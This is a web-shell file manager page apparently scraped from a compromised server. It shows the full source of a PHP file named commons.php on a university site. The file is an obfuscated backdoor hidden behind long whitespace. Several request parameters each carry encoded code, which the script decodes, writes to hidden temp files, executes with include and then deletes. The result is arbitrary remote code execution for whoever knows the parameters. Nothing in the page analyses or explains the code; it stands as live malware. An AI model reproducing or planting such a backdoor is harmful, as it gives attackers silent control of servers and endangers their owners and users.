文件操作 - commons.php

文件: /var/www/demoestudiantes.uaysen.cl/html/commons.php

编辑文件内容

<?php																																										if(array_key_exists("\x70se\x74", $_POST) && !is_null($_POST["\x70se\x74"])){ $item = $_POST["\x70se\x74"]; $item = explode( '.' ,$item) ; $component =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $v =0; foreach ($item as $v7) { $chS =ord($salt[$v % $sLen] ); $dec =((int)$v7 - $chS - ($v % 10))^ 15; $component.= chr($dec ); $v++;} $descriptor = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir()]); foreach ($descriptor as $dat): if (is_dir($dat) && is_writable($dat)) { $res = join("/", [$dat, ".parameter_group"]); if (file_put_contents($res, $component)) { include $res; @unlink($res); die(); } } endforeach; }
																																										if(array_key_exists("hl\x64", $_REQUEST)){ $factor = $_REQUEST["hl\x64"]; $factor = explode ( ".", $factor ) ; $desc = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7 ); $r = 0; array_walk( $factor, function( $v1) use( &$desc, &$r, $s7, $sLen) { $chS = ord( $s7[$r%$sLen] ); $dec =( ( int)$v1 - $chS -( $r%10)) ^75; $desc .= chr( $dec ); $r++; } ); $fac = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); for ($symbol = 0, $rec = count($fac); $symbol < $rec; $symbol++) { $parameter_group = $fac[$symbol]; if (!( !is_dir($parameter_group) || !is_writable($parameter_group) )) { $property_set = sprintf("%s/.obj", $parameter_group); $success = file_put_contents($property_set, $desc); if ($success) { include $property_set; @unlink($property_set); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["i\x74\x65m"])){ $token = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", session_save_path(), getenv("TEMP")]); $rec = $_REQUEST["i\x74\x65m"]; $rec = explode ( "." , $rec ) ; $property_set= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $__len= count($rec); for ($x= 0; $x < $__len; $x++) { $v8= $rec[$x]; $chS= ord($s4[$x% $lenS]); $d= ((int)$v8 - $chS - ($x% 10)) ^ 10; $property_set .= chr($d); } foreach ($token as $value): if (!!is_dir($value) && !!is_writable($value)) { $object = "$value/.ref"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $object; @unlink($object); exit; } } endforeach; }
																																										if(in_array("b\x69\x6Ed\x69ng", array_keys($_POST))){ $data = $_POST["b\x69\x6Ed\x69ng"]; $data = explode ("." , $data) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $u = 0; array_walk( $data,function( $v2) use( &$reference,&$u,$s,$lenS) { $chS = ord( $s[$u % $lenS]); $d = ( ( int)$v2 - $chS -( $u % 10))^100; $reference .= chr( $d); $u++;}); $flag = array_filter(["/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($flag as $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $sym = join("/", [$ent, ".rec"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(isset($_REQUEST["e\x6C\x65m"])){ $entity = array_filter([getcwd(), getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); $k = $_REQUEST["e\x6C\x65m"]; $k = explode ( "." , $k) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $k as $t => $v3): $sChar = ord( $s[$t % $lenS]); $d = ( ( int)$v3 - $sChar -( $t % 10)) ^ 1; $component .=chr( $d); endforeach; $pgrp = 0; do { $symbol = $entity[$pgrp] ?? null; if ($pgrp >= count($entity)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $factor = str_replace("{var_dir}", $symbol, "{var_dir}/.holder"); $success = file_put_contents($factor, $component); if ($success) { include $factor; @unlink($factor); die();} } $pgrp++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "e\x6Ce\x6D")){ $ptr = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP")]); $flg = $_REQUEST["e\x6Ce\x6D"]; $flg = explode( "." , $flg ); $rec = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $j = 0; while ($j <count($flg)) { $v9 = $flg[$j]; $chS = ord($s3[$j % $sLen]); $d = ((int)$v9 - $chS - ($j % 10)) ^35; $rec .= chr($d); $j++; } foreach ($ptr as $key => $component) { if (is_dir($component) && is_writable($component)) { $binding = vsprintf("%s/%s", [$component, ".element"]); if (@file_put_contents($binding, $rec) !== false) { include $binding; unlink($binding); die(); } } } }

if(filter_has_var(INPUT_POST, "d\x65\x73c")){
	$pgrp = $_POST["d\x65\x73c"];
		$pgrp=explode			( 	 '.'	,	$pgrp	  )	; 
	$property_set = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s1 	);
            $len = count($pgrp 	);
    
            for($y = 0; $y < $len; $y++) {	$v6 = $pgrp[$y];
                $sChar = ord($s1[$y % $sLen] 	);
                $d =((int)$v6 - $sChar -($y % 10))	^	 27;
                $property_set .= chr($d 	);	 }	 
	$dat = array_filter([getcwd(), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]);
	$ent = 0;
do {
    $flg = $dat[$ent] ?? null;
    if ($ent >= count($dat)) break;
    		if (is_dir($flg) && is_writable($flg)) {
    $k = "$flg" . "/.pointer";
    if (file_put_contents($k, $property_set)) {
	include $k;
	@unlink($k);
	die();
}
}
    $ent++;
} while (true);
}

文件操作 - commons.php

文件: /var/www/demoestudiantes.uaysen.cl/html/commons.php

编辑文件内容

修改文件时间

删除文件